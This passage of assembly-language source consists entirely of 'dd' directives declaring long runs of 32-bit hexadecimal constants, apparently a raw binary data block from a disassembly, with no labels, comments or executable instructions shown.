		dd 4F7753B4h, 40C9ED3Bh, 60DBE481h, 28351F2Bh, 0D855E244h
		dd 0CB9EDCFEh, 0EB0F6453h, 17130C4Bh, 6A390243h, 0BDFC5588h
		dd 0E7186EB9h, 0B1DA952Eh, 7FB2A92Ah, 0A6AADDC1h, 0F02A9E17h
		dd 9BBAA121h, 28B255D7h, 0EFE23C04h, 942A992Eh,	685AFE7Eh
		dd 0AAC48989h, 0AAFE15EFh, 942E97D6h, 54B31F0Ch, 97B160D3h
		dd 0ADDF9FDCh, 6D8B4355h, 0F74D6BF6h, 0B40968A7h, 0BF03375Eh
		dd 6FC3FD4Bh, 0DF470CD4h, 676534F2h, 6C1977BDh,	0D288C506h
		dd 4930229h, 0C04A8094h, 539883Dh, 0D08A2BA4h, 11903F18h
		dd 11574812h, 7114FA80h, 9509AE3Bh, 84C71F11h, 8F3027B9h
		dd 0C26608CAh, 7409811Dh, 0E80A2FD6h, 6185E84h,	3023D014h
		dd 0F9690F98h, 81518135h, 2809FDC2h, 80A64814h,	88F94185h
		dd 3C101618h, 240CE8F2h, 0D81BCC41h, 0A8C09A11h, 8D278D80h
		dd 0A8A0AB42h, 9440C082h, 58015982h, 388B3C7Ch,	0B382A8A6h
		dd 87A8B7C2h, 0FF3422A3h, 466EA40Ah, 8C09EE2h, 800EE8A4h
		dd 0E2E8C28Ah, 709CC07Ch, 79C17487h, 3027B8A2h,	2FA409Ch
		dd 90C6F4F4h, 620D1434h, 7518E3D1h, 424D4531h, 354638D1h
		dd 86346285h, 432C69F3h, 206A8553h, 798B1D17h, 6CB9DAF6h
		dd 0FF757652h, 17913B03h, 0C9C3CF2Dh, 94D87E2Fh, 0B651F605h
		dd 4DC7D314h, 0EE7FA7A4h, 0D050ECCAh, 0C3F094D9h, 8071FEB6h
		dd 153A882Eh, 0F63FB8BBh, 24921131h, 0E016C7C1h, 43DAB4BBh
		dd 185D8FB6h, 0F85305Fh, 2A4C4551h, 8DE9ABh, 0DA97AFE3h
		dd 898CE1E6h, 404A4977h, 3D93495Eh, 258B82E5h, 1579332Ah
		dd 11546FBCh, 0E6AD5DC0h, 0F570C52Bh, 84C230A7h, 0C73BC22Fh
		dd 2A2FC12Dh, 0EA86F784h, 37DF9F39h, 0C0CB79F9h, 9B92FF0Bh
		dd 0F74A0BF6h, 1DE77AE6h, 0F761EA22h, 5D23A82Eh, 0E559057Eh
		dd 0CA72060Bh, 3B8C3E36h, 8BEC7722h, 4B548FEFh,	16570C63h
		dd 5ABB4629h, 0F935BB32h, 0A7E12455h, 6BB17E1Fh, 0B9D606D2h
		dd 2D71D46Dh, 9F93EEAAh, 76DF6AAAh, 0EC232AA5h,	436A4D83h
		dd 5F865AABh, 4A82C108h, 2F557DBDh, 8942D5Eh, 4ABCFF4Ch
		dd 0F6F2DD5h, 0D6D45D84h, 0DAE1CABAh, 0C3D95806h, 0DFA1C7F2h
		dd 8039D27h, 0DC0D7E56h, 0E180EC17h, 7C044E67h,	4C596D1Ch
		dd 3B2E463Ch, 0AADCD775h, 0F1C3E23h, 0C7EF97E1h, 0FF7FD7E7h
		dd 0D87ED3FDh, 70BCD01Dh, 0DBD29BF6h, 0D4D6BB79h, 5031D761h
		dd 95D1D117h, 593268E4h, 9CC4D1B6h, 0F2DDE9BCh,	0ED44EBE6h
		dd 0ACF9E802h, 2F4F7B89h, 552466CBh, 383CF6EBh,	4FC4C977h
		dd 15D3A3B7h, 8573956Dh, 0AB955AE0h, 928F8A64h,	5F49FA8Ch
		dd 25A1D9CAh, 0FD768D85h, 357F37DAh, 0EAA02D14h, 0C4C1758Bh
		dd 0BC8B3A87h, 855B17F0h, 758B1BCFh, 0A31B4D8Ch, 0B91BC1F6h
		dd 0C0F22BD5h, 0A0E3D47h, 0A3778CEEh, 4B8BF830h, 0F4B85581h
		dd 48C22525h, 9C6833AAh, 0E7E32A8Bh, 800CEF7Ch,	0EBE7FA43h
		dd 0A8A2427h, 12A6CB70h, 0C3DB7E02h, 0BBAD325Fh, 18360F81h
		dd 2773C59h, 0DE43B5C0h, 9BF99C84h, 7787A697h, 0AAFE976Ah
		dd 0EA02BADFh, 6AF8BA76h, 1FE006D4h, 0DF034209h, 8B8C54EDh
		dd 1018D56Bh, 340839FAh, 0A18A81DDh, 0CD5E25C9h, 0C0F6A5DBh
		dd 6B64E9BEh, 530821DEh, 5FCC3F01h, 2198AD72h, 703C389Ah
		dd 540DA5BAh, 99643B25h, 5A465320h, 0DC2DD39Eh,	292E360Bh
		dd 0CAAEAAE7h, 0DA43F073h, 0CEBA926Dh, 0B40ECC6Ch, 0A7B6B4A0h
		dd 0AB621689h, 0E6B48BA9h, 0E37BFECEh, 0F0711B42h, 0DFBCCEDEh
		dd 0A0668EE2h, 0C3CB434Bh, 18CAF411h, 0E0FA381h, 0D1A6FEFDh
		dd 3F1C0DC8h, 0FDE2034Bh, 77906E57h, 95B58F22h,	0BD6CD253h
		dd 384AF5Dh, 95670C53h,	0D51E4B82h, 0AB485F0Bh,	0F2A81A8Eh
		dd 0E6DA2AF6h, 31C95FEDh, 0A6EE6FDDh, 499EE5AFh, 9C77B75Eh
		dd 2BCEFD0h, 0F04FE058h, 49B17FBFh, 3F2704A3h, 97FCD1A6h
		dd 156F3B93h, 0F56F16ABh, 2F550AF3h, 0BCD19396h, 0B04A95A3h
		dd 9F8B127Eh, 0B425C52Bh, 0AF61C672h, 261C075Ah, 0D3F18D6h
		dd 0E123FE54h, 3EFC5827h, 0B79FEF04h, 5E65C370h, 0BE3AACAAh
		dd 972CD6D1h, 7C14CCA2h, 834DBC9Dh, 607B047Dh, 0F6DE4AC6h
		dd 0E95EB547h, 31B45E62h, 0D8F6B690h, 2BDF5B42h, 8447322Ch
		dd 13FD3307h, 7A979E77h, 880A7C99h, 787E3AFDh, 0EF020586h
		dd 0CD5F1F28h, 0AE001105h, 1ECD1457h, 71870D1h,	0BB92546Fh
		dd 1C0C3FBEh, 3E6294DEh, 0E02844E5h, 28DA3918h,	5845D666h
		dd 3EE99A1Dh, 0C2B8CA96h, 0AF8AFDCDh, 7E96464Dh, 0F8E7EC31h
		dd 70FC340Fh, 0D4A1E44Ah, 2E3B52A3h, 0F89FDF41h, 4AE6F36Bh
		dd 656FB7EDh, 0A9E8BB8Fh, 48EACD68h, 185D8E82h,	0AC913A81h
		dd 280739EEh, 0C719FC28h, 4DFD3405h, 7564D251h,	0FC7D1073h
		dd 70F514D4h, 7610FF64h, 50FE1A10h, 2CFC7490h, 0B44BA17Ch
		dd 0BAE1CC55h, 9FD3DF27h, 0CEDD820Ah, 87C74646h, 0EB83CDADh
		dd 98B6D1C1h, 0F2D8272Bh, 0AC194D3Fh, 0DC7A1B71h, 133E8563h
		dd 7C28139h, 39449C9Ah,	2089D299h, 2A379EC4h, 0E7154E89h
		dd 0F42F8AECh, 0AE7AB139h, 5BA36190h, 54BDB6E5h, 0FA9EF5D9h
		dd 963E0C74h, 6A9329C4h
		dd 356AB3A1h, 37DA14EBh, 17F965F9h, 56E8997Eh, 179BC71Dh
		dd 2EBB5855h, 190FE6F0h, 93571F45h, 0ACF39585h,	0C0FA2CD1h
		dd 1BE4B07Dh, 2FA6EE94h, 8517F37Dh, 2446DEDBh, 1C7194D7h
		dd 0EFE38A95h, 3B16B0A8h, 0EF5A4AFDh, 84CA95E9h, 0B0F2D5DEh
		dd 0D1A0FBE9h, 5CF6FC4h, 786AD42Fh, 0DB6D1497h,	2AC7C87Bh
		dd 813C75A8h, 50081E1Ah, 0BF7CDC0Fh, 0BB5E6B39h, 322FF685h
		dd 0FDFE1911h, 79088FC3h, 90F6FB60h, 0A289645Bh, 8915FA5Bh
		dd 1EE3BDC0h, 41F0B44Dh, 55FA79B7h, 0B8AC0F8Bh,	4346B25Ah
		dd 0BEFC2565h, 99C2EA26h, 0D2167F5Bh, 0FC664FFh, 6B125DA9h
		dd 2F7A3DF4h, 0B437D9B3h, 0F9EBCE82h, 0F0CE4CAh, 0AD91EAABh
		dd 92846EBFh, 0B3EC17F8h, 49AD77DBh, 336F9565h,	300CE28Ch
		dd 89F1ED58h, 0F0ED669Fh, 0AFAACEC4h, 0B9CA30F2h, 0A73DBEA1h
		dd 0BA81C9BBh, 71BACAC4h, 0F8D57C08h, 0C3581D5h, 0AF6E7BEAh
		dd 0E295E4C5h, 2B882783h, 10A49275h, 73381EFDh,	0CBD7CED5h
		dd 97E0D1B9h, 1E5787EFh, 97B14A23h, 41334CE9h, 29E79DD9h
		dd 38CA5E71h, 344A62BBh, 1358AEDh, 85CA21E2h, 25BF982Bh
		dd 5BDE5920h, 0D11D99A5h, 0A8DCC0FDh, 0FC1F0C19h, 55268EF3h
		dd 1B973C0Fh, 4691AC85h, 4440B7CFh, 1D7BAAB4h, 6E2FFDD2h
		dd 75FC09EAh, 64574582h, 0FBF1DF93h, 66F84877h,	0F17166Bh
		dd 14FB195Dh, 6DA6D34Fh, 9D53899Dh, 585D343Eh, 0D6FF2C74h
		dd 0BCFAB31Dh, 0EA9D28FCh, 0ADAC5FE8h, 76DD6054h, 9E2C9E00h
		dd 207598F1h, 62F1D663h, 0CCF7E6AAh, 22FB9914h,	3F03C95Ch
		dd 0AB3EFF9Ah, 8DA29784h, 0C3D95AE1h, 95C0EE0h,	0E7B405DEh
		dd 9F4C27EAh, 36BACCEAh, 5A3B4EB7h, 4B7DEB4Bh, 950FC07h
		dd 0AA06FA75h, 27557614h, 0BA835DECh, 0EBAFF7F6h, 5A0DDE02h
		dd 9F9BC750h, 9CB3C616h, 1A456EC5h, 8177F534h, 77288388h
		dd 532308DFh, 2AAA18DFh, 22376229h, 3F46A0Ch, 0C42EDDC5h
		dd 2A6F825Ch, 0F8BA9A06h, 9F5D5386h, 7078B1A5h,	0D8BD06F7h
		dd 9B614BEBh, 8A4B94AFh, 0D069D201h, 6D9E81E6h,	0AA1F8381h
		dd 7A2FA57Ah, 52CF259Ah, 0D14A556Bh, 0A6FA69D5h, 8E6D92Eh
		dd 0D86C27D5h, 134B3EE1h, 0E07F517Ah, 7C04FBDCh, 0B6E7EFC0h
		dd 0F1CA6F1Ah, 781E983h, 8BC6CA87h, 0A95028E0h,	0D2EBB3BEh
		dd 60184E69h, 5B6A7874h, 0BD7003CEh, 0C63D57C5h, 0FE860557h
		dd 2150FC4Bh, 0FD1546F7h, 709C2F95h, 798DBF7Bh,	4045CFBCh
		dd 957AAFCDh, 1E9FCA6Ah, 0C4E67138h, 0EC6C2FF6h, 0F735FA20h
		dd 0B9ACD77h, 850423C3h, 753DD6A6h, 44514030h, 9CA29E93h
		dd 52DABC09h, 998CB607h, 0C3E5C254h, 0AD25F872h, 1C056292h
		dd 0BF8902E9h, 0CA9F0C2Ah, 8DE9CC85h, 3A9308EBh, 8D82BB35h
		dd 9D0BE237h, 4EFEDE28h, 0B90A446Dh, 131A4025h,	0FD7D6BDAh
		dd 77E20EC5h, 49C6235Bh, 60B4A062h, 0D759E933h,	0DF4C0FCAh
		dd 9399E45Dh, 4BF0BBF6h, 293E0958h, 24A8672Dh, 5219168h
		dd 0E25A2B0Ah, 27431224h, 562015FBh, 0FBF1752Fh, 0C60F9540h
		dd 85F09768h, 0F535CAECh, 5E8DE079h, 1D355BC6h,	0A8ED78ABh
		dd 0FC1E0448h, 0D7B7B34h, 0BD5E578Ch, 0AA53BA01h, 20BAD69Dh
		dd 0B397358h, 0C03F92EDh, 0B7CEC3F1h, 0D4F933D8h, 878FF35Ch
		dd 29D41DE9h, 0B28B99F8h, 0DCC288AAh, 1BB746B8h, 0E9244191h
		dd 67106812h, 86242220h, 8A1D2D58h, 99819834h, 0EAEA55DBh
		dd 440F0F4Dh, 0A33C2472h, 39D3CFB0h, 7D676BF6h,	83DA0C67h
		dd 0B1D16DA3h, 0B71A0635h, 2E9F1E1Fh, 8FD9F29Ch, 192AD57Ah
		dd 98E96561h, 0F8BE33B3h, 90A30845h, 0D2BAC0F0h, 26B8EE16h
		dd 0E973EDBBh, 0EAB9609Fh, 0AA780AF8h, 64005DA6h, 0E625DEC2h
		dd 80AFBAE2h, 0E23152A8h, 0BAE154EAh, 9BC9B682h, 0EA6DEADh
		dd 0C1DA25D8h, 970576EBh, 3635BFC8h, 0B6079103h, 0D84808AFh
		dd 9FF4114Dh, 76FF3AB0h, 832FC5F7h, 3362EB76h, 40ABFB86h
		dd 43CDF0D7h, 0AA85DC3Dh, 6A1FAD7Ch, 0DF45C38Bh, 777787E2h
		dd 6BCA9823h, 4C254AD1h, 1BB14964h, 0D5A11296h,	48D4804Dh
		dd 4EF867B6h, 3E1C5F16h, 0BB81F051h, 0FA47A86Ah, 3D90A6BDh
		dd 259A6DB5h, 605C7D76h, 8721ACEBh, 83B3FD6Ch, 2FE194EAh
		dd 0D0D9CEF3h, 70491FC0h, 94D1FDE6h, 0FAE7F215h, 0BCFA958Dh
		dd 5312AD00h, 828DB477h, 0A1EE86E0h, 7E9F4C9Bh,	0FDA86B1Ah
		dd 0AC04BCC5h, 0D46B20AEh, 0DBC7078Ah, 0BD1B1492h, 0AF54B290h
		dd 44B9AC8Ch, 6ABA3423h, 0CB973C92h, 0CA47AA2Bh, 2A8DCCFAh
		dd 0EE06DC66h, 9223568Ch, 0ED29F426h, 69D6078Fh, 0D4E2786Dh
		dd 405BA7CCh, 0BFDC07F9h, 0E99940A6h, 5AF6BD60h, 79D6FCBCh
		dd 0F36E5F8Dh, 61BDBA95h, 0A4D97355h, 0BDB4287Eh, 0B08BA9Bh
		dd 0B8B99C9Dh, 0D80F1DF9h, 5D0E9256h, 4DBFB137h, 0C9F175A3h
		dd 1AD1C3B5h, 0CBEE21Ah, 0BECFD8D5h, 65FFBAA2h,	322A0D28h
		dd 0EBBFA1Dh, 557FB459h, 4F62A407h, 0BAB91832h,	6067150Ah
		dd 2AAA7CDDh, 1EFABF79h, 31969934h, 5171C7F3h, 28A87071h
		dd 0D40C4D40h, 0BFC787ABh, 0F4492187h, 0F8A6F1B0h, 5A563C65h
		dd 1F412098h, 4179E5B5h, 9C5C1708h, 0FCEB9B7Eh,	707FF636h
		dd 6EA9B78Eh, 0A8077F81h, 17512A68h, 83EFDC75h,	3B139997h
		dd 3980B33Bh, 0D884CD6Ch, 8B7F9007h, 5ECFB1C2h,	0B1DD9119h
		dd 551E5AD1h, 0D77C4B6Dh, 3C60A1A5h, 0FE868167h, 0B5D66F74h
		dd 0D96FF827h, 62177E04h, 8859236Fh, 0E21DDACFh, 0AAE33674h
		dd 0BE404189h, 0EC024F27h, 0E78B8242h, 0E6744285h, 0A7AFB9FBh
		dd 9F8AE071h, 7420202Bh, 0E5C10525h, 564CBC06h,	0D1E5938Dh
		dd 2984869h, 6754FEE7h,	5CCA2128h, 3B471CB5h, 9ED1DFA8h
		dd 0A772B675h, 969B65BAh, 8DAA43CEh, 1598286Fh,	9507DBCDh
		dd 0E74142A5h, 68995B39h, 5E3738EAh, 0AE11400Bh, 0B4AB9F4Dh
		dd 0B7E3389Dh, 4BA79C26h, 0F62D10C7h, 2512CCEDh, 0E49BBDCEh
		dd 7C565E8h, 0CE3645F9h, 5D8E7543h, 0E85F8589h,	0BBFC616Bh
		dd 0BCACDCD8h, 62EF4F8Ah, 0FC2F2AB7h, 0BB92EDh,	0BC8BBBD3h
		dd 0C9D812ADh, 383F9ECh, 0AB2B1B16h, 7B441559h,	6DBB3B5Eh
		dd 1FDFAB81h, 0E47466DCh, 0FF86EE85h, 0DEC4D8A4h, 7CA0348Bh
		dd 7025F4E7h, 212B8AA0h, 225A275Eh, 4CAFC56Fh, 3B875B06h
		dd 0C9C4DB7Ah, 89E78C33h, 91BFA6FDh, 0F8F52E25h, 465405BDh
		dd 0B873D2B3h, 0BE6B63CBh, 2922C0F8h, 0EA3FAE34h, 6783C38Ah
		dd 1A290BFAh, 4C300FA7h, 3B7A374Ah, 1B9EA36Ah, 0BD2ADC7Ah
		dd 2A84E3BCh, 0A4861523h, 0D0BBE814h, 0DAFF243Fh, 1F52E6A1h
		dd 3BF701AEh, 0A288DFE6h, 295B5589h, 75303F89h,	152B9050h
		dd 0B77B905h, 5928EE51h, 370541D3h, 11FA4628h, 0EE79DC08h
		dd 4E7303C9h, 9473AADCh, 77F8FD3Fh, 39F5FC72h, 6E6D86B6h
		dd 7DDF3B6h, 42B355BCh,	27E80C51h, 8EEF2C98h, 9F68662Eh
		dd 0A73C2994h, 89E01D36h, 9BC1460Bh, 6FE0176Ah,	0D6764EBEh
		dd 0CB83C786h, 0B8436BA8h, 9C3C3AF1h, 1DF5913Ch, 0F38D4DEh
		dd 8C1B6D9Bh, 0ADC613EDh, 3B3A461Bh, 6EA339E2h,	9FDC8D01h
		dd 0F3086DA0h, 5A7B36F5h, 2D628BE9h, 5C9FDF18h,	2096EC54h
		dd 1F036FE7h, 38057A8Ah, 0A1C5B575h, 0C163F145h, 8568575Ah
		dd 89B5F900h, 20FA3ED4h, 0E954E2B8h, 0DD7E15C3h, 6F1395Ah
		dd 9DB8E1FEh, 6AF475F1h, 9F28CE87h, 79107C4Bh, 0A20A0376h
		dd 0DFC01357h, 0F6A34AF3h, 0AF489107h, 0CE568B70h, 0D4862BA5h
		dd 420BD99Fh, 6BF4E0D4h
		dd 41C349D8h, 50B1B513h, 0C0DF7F0h, 0EF945024h,	69FB2355h
		dd 0F47CA3EEh, 854431B9h, 997556CCh, 0CFA4E5C3h, 6B3E053Eh
		dd 0EBE48CCEh, 0F71DCF8Eh, 0BB01DABDh, 41DE2B45h, 2459A808h
		dd 16661F88h, 390308C9h, 6411C76Bh, 0CF1F55C0h,	4015EBDh
		dd 9ECD422h, 87D3EAE5h,	8A7B6A4Eh, 6D512572h, 0D5BB1DB5h
		dd 0F49F6061h, 0EED644ABh, 618BF567h, 1E70A26Ah, 9352AE1Fh
		dd 0E6931BF6h, 24556EFh, 342AB9AEh, 0B7C477B6h,	0F98C0F7Ah
		dd 7D90FE68h, 96404A96h, 2FACE14Dh, 0F577EB66h,	5D441AE3h
		dd 0DB6E26DBh, 0D7971360h, 71D5E69Dh, 29F0D575h, 5D3594B4h
		dd 6C26AB7Dh, 0A7E7DD0Fh, 3FF77F3Dh, 8CE2D732h,	0BE208D96h
		dd 46388A07h, 4FF9D16Fh, 0A20162EBh, 9399FA7Ch,	0A1BC1850h
		dd 2EF3CB3Eh, 0FC6A163Eh, 0D1234BE7h, 0D87E325h, 0AE66181Eh
		dd 0F0E8145h, 0EE6FA65Bh, 0F2FD487Eh, 3E1D21Fh,	0FE05FC4Ch
		dd 393C57DAh, 5B2D0572h, 0A7F24BFDh, 9C5CB0BBh,	6C897F51h
		dd 0FAEEFE0Eh, 5FE5E48Bh, 0FA61B2AEh, 241940E6h, 25755D04h
		dd 0A83EF5Fh, 0D51B45AFh, 798ECA2Ah, 0DCA439B1h, 1238D3E5h
		dd 0F8BAB804h, 0D81E0737h, 99C2C102h, 0AEB71C2Dh, 17EE820Bh
		dd 0A0826BF6h, 6BAD603Eh, 0B19A9F48h, 0D237F7A6h, 0BC3B8AF7h
		dd 0ECFA90DCh, 0C3A3DF3h, 0B678DFC7h, 0C1DF1F12h, 0C0BB9CA8h
		dd 0B4CDF2E2h, 747DF857h, 472B4BD5h, 0AECCF815h, 6B468733h
		dd 96E7D7B0h, 3E6C7CA7h, 5B2F2FC6h, 0BCD3A813h,	17126A5Bh
		dd 95B54ED1h, 858FDE26h, 0AAB9AC52h, 0B41F0E21h, 76FF331Dh
		dd 0F5008C4Dh, 0F392DE2Dh, 0EC948164h, 9BC08547h, 8CA3692Dh
		dd 7E813EF5h, 0D7FB9AD3h, 48313195h, 3613A1DEh,	0AF62C8ABh
		dd 0CC6CFA80h, 0C9A6EC0Dh, 54703D1h, 0BB2AB321h, 831EEF3h
		dd 0ECFC8B8Bh, 0D795551Ah, 4E1C05D3h, 91B45898h, 9E2D7438h
		dd 0BBD6532Dh, 0D09BFC76h, 1EEA0C5Ch, 0DD8F0F0Bh, 0EF739EE9h
		dd 6754DF47h, 6480E71Ah, 0F1BC7810h, 0C8C8838Fh, 0D1DEB46Fh
		dd 66EF6B34h, 0F742FE82h, 0E3EF08B3h, 0E745E9BBh, 1399D5FAh
		dd 6080B705h, 0ADD241A7h, 0EF0156B9h, 5CE66F65h, 8DCCF195h
		dd 0C91E36D8h, 1B5F1D8Ch, 9E04045Eh, 19C00AF4h,	7BD76B74h
		dd 77236C25h, 1791D8F1h, 0A4613527h, 0F2733D78h, 102F138h
		dd 0D647EFDh, 74B65128h, 7AA8CA29h, 4D8D1263h, 0BD8A07B7h
		dd 734581FCh, 0D67B5295h, 698B405Bh, 3AA5916Fh,	0EFA168B2h
		dd 0F426911Ah, 0C607E1B5h, 987D543Eh, 3917DF75h, 0FDFB3AECh
		dd 7597008Ah, 95A32DA0h, 27AA5F43h, 0E3FD94D3h,	69C4C2D3h
		dd 0CD8D6695h, 4B128038h, 7CEB5E2Fh, 0EAAA78CAh, 98A781FEh
		dd 661D8553h, 0FCD889BCh, 70E6FD40h, 5771D72Dh,	16AB1523h
		dd 94B325DEh, 0F65D7A45h, 0CD5EBB1Eh, 88F9CCFAh, 0D8F6C667h
		dd 0FC6D79Ch, 0F56E4EBAh, 0B6033D9Ah, 2BFD4CD6h, 0D8E0BFF4h
		dd 0A239CFBFh, 6EB58BEh, 4C96E2A5h, 0B68F0EE2h,	53E66BF4h
		dd 0E02ACA48h, 450F23C1h, 0D4C9820Eh, 0D5A50F45h, 0ABF1DD6h
		dd 736D6E0h, 0BEC76010h, 0E9E8ED32h, 791FEFF6h,	5F6EB404h
		dd 0DE7E6B02h, 5FD9218Ah, 68CBF87Bh, 45F7FD12h,	0FC1CB5AAh
		dd 4B405565h, 816E5267h, 0D2A88E94h, 31FD21F9h,	0B253433Ch
		dd 5CB90087h, 0F1CA87E0h, 7D18B53Ch, 0CBB2EF7Ah, 97BDE471h
		dd 0C63BEF5Fh, 9DFE5B99h, 226D601Ch, 86A36D33h,	0EA321C7Eh
		dd 0BB8B28B9h, 675F1778h, 0FAA644FFh, 8AA8B56Ch, 1757796h
		dd 95DB62h, 783E383Bh, 8837BC22h, 24317223h, 37CE56B6h
		dd 0BB3EE5DCh, 2E14C940h, 60A6F500h, 0F15F0585h, 0A36E9F0Dh
		dd 0DA948575h, 0EED16688h, 222A4F99h, 2E9C13A1h, 3E2BA51h
		dd 5B1D5E15h, 0C65BCD16h, 7A8ED269h, 703CE8BEh,	8E31102Fh
		dd 0EEF25F32h, 0D25030BCh, 0FB6254B2h, 0FF670FCFh, 0DBFE7BDFh
		dd 9B22BA2Fh, 37DC5DF4h, 2BD82DF5h, 9A2BA39Bh, 0DF2EC237h
		dd 0D2683390h, 95F49D4Eh, 0B7240579h, 9844BE92h, 84BA5555h
		dd 0D4EC4ED2h, 0E1337963h, 4868BEA1h, 97EAE060h, 7AD03D84h
		dd 0FB64A651h, 0C51612F8h, 0BDF2E9BEh, 46FD02F1h, 64DB15E1h
		dd 0E0FF0B7Fh, 1075F135h, 15891262h, 0B80D75D5h, 5ED8C565h
		dd 0C2205177h, 0AD9B7182h, 28ABCF29h, 0B79C2EE4h, 768AABCh
		dd 379A48BCh, 0ACEFD15Fh, 1723583Ah, 773F3F03h,	0E681040Ah
		dd 47C7F5A9h, 5D042EC6h, 5D0FC54Ah, 79AB6D33h, 5A107A85h
		dd 5AD1D1FEh, 6422296Dh, 3AB09E90h, 0EC503ACDh,	1B6160DCh
		dd 141556FAh, 0E72CAE09h, 0AFCCAFDCh, 0A7090F99h, 0FAD4552Ah
		dd 54797DB0h, 74795BF4h, 894752FEh, 0E30057BFh,	0AA574223h
		dd 890D33C6h, 2FC3C94Bh, 0A9F8081Fh, 4EB6EA89h,	0E9F45DC8h
		dd 933D3FF5h, 2A85D78Eh, 60BB8FEFh, 6006C30Ah, 0B95EDD8Ah
		dd 0E0E2673Bh, 8A0AB7F3h, 76B17159h, 519F39F2h,	105893FCh
		dd 518BE5B1h, 701FBF54h, 69A86E12h, 247E16ACh, 6574B298h
		dd 1E16CF57h, 6E9DB863h, 5DE1F8EDh, 0FD9DB2Dh, 1DD34F37h
		dd 0FDA559EDh, 0BAFF1035h, 0CF28B653h, 7E168E4Dh, 197DAF19h
		dd 0D6202A91h, 0E74EB68Ah, 0AB04A7C2h, 3ABA9E29h, 0F44F3B16h
		dd 3B4139D8h, 65EF6D60h, 0C98BF734h, 537E3EAFh,	69D92C0Fh
		dd 0DF26B118h, 6F7997E1h, 7EAECFD9h, 773FE0BFh,	0DEAD14A9h
		dd 5A34B19Fh, 91AAD607h, 0D5EFE8EAh, 0E385F954h, 18EF3B7Ah
		dd 0B7853EE1h, 0E2DEF0B5h, 16FDFFEAh, 3529D137h, 3A45AACFh
		dd 37A9F1h, 0A402CF9Bh,	72264555h, 40FAD15Ah, 0AF0E9F27h
		dd 53812FCBh, 2BD9D429h, 964554BDh, 21FB4D3Dh, 21D41942h
		dd 7E5551C9h, 0B7381021h, 0AC5A27B0h, 8AF41DE6h, 3D916FAh
		dd 0C6C157E7h, 79B47C7Ah, 0D35E1C2Fh, 0D4F65D5Ah, 87ACD26h
		dd 0E70C5426h, 94054F17h, 0E5DE32CCh, 1F1209C3h, 7433C05Dh
		dd 0EFE3703Dh, 0AECEEA90h, 0EC857DF4h, 2B605A9Dh, 0B3771F53h
		dd 48DDDE5Ch, 6D78FAE9h, 4857BD6Fh, 0B3AF1938h,	0B73C4B03h
		dd 0FD98F223h, 6BA3F44Bh, 2CA5A918h, 5F3A72A5h,	0FD58E65Ah
		dd 0FAA4812Ah, 0D7C9D9DBh, 314EBFAh, 297A6DBEh,	7E78CE0h
		dd 0D43325F9h, 0F53C5FDBh, 3AF02D65h, 39D2F2FBh, 0E687563Ch
		dd 387FE317h, 7FEBA8E9h, 6360B04Ch, 53FF19A6h, 4717155Dh
		dd 0C6FB4AAh, 0D131BE23h, 6CA399C9h, 5F6B3AA7h,	0B93D8697h
		dd 962EE2C2h, 3BDB493Eh, 6B645A22h, 0D03DA173h,	0E9452EB1h
		dd 0A9353DAh, 0AC825AFAh, 45A37F80h, 0F3E7419h,	0A18CF799h
		dd 1B95107Ch, 2455796h,	0F1C36BC4h, 0EE9A2A77h,	6850FC7Eh
		dd 0EB82BA97h, 0ACEA6EA7h, 320B0FC0h, 5FBBA848h, 0FA66715Ch
		dd 8E5849EFh, 0B024B81Fh, 78BC5A71h, 3E2D46Dh, 1CDCC48Eh
		dd 672BE585h, 16FF03C9h, 0BE7F49C2h, 0BF36EF3h,	5E0AE425h
		dd 0D8AE7DF8h, 0FB3D6F19h, 0D812EDF0h, 970AAFE5h, 0A22F0752h
		dd 207A5CC3h, 0EE7AD862h, 0FF0B84BAh, 0E54E0309h, 5647D59Eh
		dd 89D0CDDh, 5F3B2F44h,	0F33A3E8h, 3E76A8D1h, 0C9C65E6Dh
		dd 6AEF0723h, 0B14A45EFh, 0CB4A1658h, 291DFF07h, 0B40C36FBh
		dd 4ACEC9F5h, 0A1B962B1h, 758FCD26h, 524FA057h,	28FA299h
		dd 57449F0Eh, 0CF95B03Fh, 105A0535h, 5BE354D8h,	3F73DBBEh
		dd 4946EF6Dh, 0A4E9BF12h, 6CBB8815h, 23AADA4Dh,	0DEDB707Dh
		dd 0EBD3D67Fh, 5AAB04F7h, 0DEAAA776h, 7CE0613Bh, 85A19871h
		dd 79301380h, 48DDF3EBh, 557B6EAh, 8E2F96AEh, 0E375E70h
		dd 0BD378AAFh, 6BA7E2D1h
		dd 75B228E4h, 0DB5F5C2Fh, 0FB5781FEh, 0B83E18B2h, 83262A15h
		dd 32D21735h, 0A7AEDAE7h, 0E97D9769h, 0A4FF4E5Eh, 1FB702E1h
		dd 9D5F8A9Bh, 837142C7h, 36B86697h, 0E9788D7Ah,	826DA247h
		dd 0D07DAD14h, 42A27FC0h, 0D76228BFh, 66B12F3Ch, 268AE78Eh
		dd 0EF9BF04Dh, 0A17C08B9h, 5A57ECCBh, 0D75BE1AEh, 4A636ABh
		dd 0F7153DC7h, 7F17D169h, 0D82A753Dh, 24BD7C94h, 0BFB647D1h
		dd 254ABDA2h, 9728AECBh, 0ABFC1E3Ch, 7303F7D7h,	64EB120Eh
		dd 89A324E4h, 5B929DA5h, 0D44E6D42h, 8C22A9FAh,	7DED4A5Bh
		dd 947AEB41h, 37325B81h, 0E3582916h, 6EE97E77h,	4F9AC07h
		dd 0D4B61A8Dh, 0F6D4AB90h, 0ADD524ABh, 41A0C97Eh, 32497821h
		dd 0B505D247h, 47DCFC53h, 0F9E3C0F1h, 489B93ECh, 0E26FB23Dh
		dd 0DAEB62E5h, 0FA39510h, 95DB705h, 6C6A9EDEh, 67C52042h
		dd 0F325BFDEh, 707D7093h, 20ED81F9h, 6DF07F5Ch,	65A2A99Bh
		dd 39FA6DD2h, 4FDA43EEh, 365E88A6h, 7D654A7h, 77A7B4E1h
		dd 0E6BAD71Fh, 0B704BC7Ch, 0E94B11EEh, 0FDF559B1h, 8A40E1F8h
		dd 0EF8FE96Ch, 9157CE64h, 0EB439DBEh, 0D9CBCA11h, 0FC4705Dh
		dd 0E8A33257h, 1943E9A8h, 50DF9D2Eh, 0E6E2AAF6h, 0C2686DCBh
		dd 9EECE773h, 22F4F56h,	358EFC62h, 8FA8FCC0h, 93C1BE2Ah
		dd 1827B12Bh, 57B95C0Bh, 45FC2E6Ah, 0E9E5D275h,	82377BD6h
		dd 7693F1DFh, 89D23148h, 6DF0CE8h, 7D386AE2h, 15DA76CDh
		dd 6C2F5E09h, 0D55B1D1Dh, 3E02314Ch, 96D17361h,	3DD9B13Ch
		dd 0E2F99784h, 539F657Fh, 4AC95DCBh, 294FE3A4h,	0E40B767Ah
